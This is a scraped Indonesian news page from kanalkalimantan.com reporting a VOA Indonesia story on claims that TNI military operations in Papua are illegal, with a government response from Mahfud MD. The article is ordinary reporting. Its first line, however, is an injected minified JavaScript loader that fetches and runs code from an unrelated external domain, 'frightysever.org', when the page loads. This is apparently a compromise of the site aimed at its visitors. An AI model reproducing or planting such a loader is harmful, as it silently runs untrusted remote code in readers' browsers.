(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Peneliti dari Imparsial, Hussein Ahmad, mengatakan operasi militer yang dilakukan pasukan TNI merupakan tindakan ilegal karena tak sesuai dengan Pasal 7 Ayat 3 Undang-Undang Nomor 34 Tahun 2004 tentang TNI. Operasi militer itu pun dinilai telah mendorong adanya pelanggaran hak asasi manusia (HAM) di Bumi Cenderawasih. Hal tersebut dikatakan Hussein dalam acara diskusi Swarga Fest dengan tema “Kekerasan Bersenjata di Papua: Kapankah Akan Berakhir?”.
“Itu yang kemudian menjadi bermasalah bahwa operasi militer yang dilakukan di Papua sebenarnya adalah operasi yang ilegal. Tidak ada dasar hukum yang bisa membenarkan operasi militer di Papua saat ini,” katanya, Jumat (10/12) sore.
Pasal 7 Ayat 3 Undang-Undang Nomor 34 Tahun 2004 tentang TNI menyebutkan bahwa operasi untuk perang maupun bukan harus berdasarkan keputusan politik negara. Oleh karena itu menurut Hussein, dapat disimpulkan bahwa keputusan politik negara adalah ketetapan presiden setelah berkonsultasi dengan DPR.
“Pertanyaannya kirim pasukan ke Intan Jaya dan buat pos di kampung-kampung Papua itu ada keputusan presidennya enggak? Sampai saat ini dasar hukum itu yang melandasi apakah operasi militer secara hukum boleh atau enggak, tidak ada sampai sekarang,” ujar Hussein.
Baca juga: Tugu Reklame, Upaya Menata Banjarbaru dari Reklame Liar Semrawut
Kendati operasi militer yang dilakukan pasukan TNI di Papua tak sesuai undang-undang. Namun, pihak eksekutif maupun DPR-MPR tak pernah protes terkait operasi militer yang tidak sejalan dengan Pasal 7 Ayat 3 Undang-Undang Nomor 34 Tahun 2004 tentang TNI.
“MPR dan DPR sebagai lembaga pengawas khususnya Komisi I tidak pernah protes. Kewenangan dia dilampaui dengan tiba-tiba adanya pengiriman pasukan yang kita tidak tahu jumlahnya berapa. Seharusnya itu semua dibuka. Sayangnya anggota DPR maupun pemerintah tidak concern terhadap masalah ini. Tidak ada pengawasan terhadap hal itu,” ungkap Hussein.
Sementara itu, Kelvin Molama dari Aliansi Mahasiswa Papua, menilai persoalan yang terjadi di Papua sejak tahun 1962 sampai sekarang merupakan ulah militer. Operasi militer yang dilakukan dengan dalih mengamankan dan melindungi rakyat Papua, ujarnya, justru kerap menimbulkan pelanggaran HAM. Kini rakyat Papua berharap dapat merayakan Natal dengan damai, namun operasi militer masih terus dilakukan seperti di Kabupaten Maybrat, Yahukimo, dan Nduga.
Baca juga: Hari Terakhir, Lana Ambil Formulir Pendaftaran Ketum HIPMI Banjar
“Itu masih ada masyarakat mengungsi akibat operasi militer. Natal tidak bisa dirayakan dalam suasana yang damai,” ujarnya.
Pemerintah Terus Langsungkan Dialog
Sebelumnya, Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD, mengatakan pemerintah terus melakukan dialog dan mengatasi berbagai permasalahan yang ada di Papua melalui pendekatan kesejahteraan. Hal tersebut dilakukan sesuai amanat INPRES No 9 Tahun 2020 tentang Percepatan Pembangunan Kesejahteraan di Provinsi Papua dan Provinsi Papua Barat dan Undang-Undang No 2 tahun 2021 tentang Otonomi Khusus Papua.
Selain melakukan pendekatan kesejahteraan, pemerintah terus mengutamakan dialog dalam rangka membangun Papua. Mahfud MD menegaskan Papua adalah bagian dari NKRI sama seperti wilayah di Indonesia lainnya.
“Ada yang mengatakan kita harus dialog dengan rakyat Papua. Kita akan terus meneruskan melakukan dialog karena selama ini juga seperti masyarakat tahu kami terus lakukan berdialog. Saya mengundang mereka ke sini, berdialog dengan kepala adat, akademisi, pimpinan keagamaan, dan organisasi kepemudaan. Kita akan terus mengutamakan dialog dalam rangka membangun Papua,“ ujar Mahfud seperti dikutip dari laman resmi Kementerian Polhukam.
Lanjut Mahfud, saat ini aparat telah mengidentifikasi wilayah yang belum kondusif di Papua, di mana masih ditemukan Kelompok Kriminal Bersenjata (KKB).
Baca juga: Kakek Tuna Wisma Meninggal di Kursi Panjang Trotoar Jl A Yani di Banjarmasin
“Kita sudah mapping daerah yang agak panas. Yang agak panas daerah tertentu saja dan orangnya itu itu saja. Jangan terlalu banyak buang energi ke situ. Oleh sebab itu kita membina Papua sebagai saudara kita. Papua itu saudara kita, bukan KKB. Papua itu saudara kita sama dengan Jawa, Sumatra, Bugis, dan Aceh. Papua kita perlakukan sama sebagai bagian dari NKRI,” pungkasnya. (VOA Indonesia aa/em)
Editor: VOA Indonesia
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
This website uses cookies.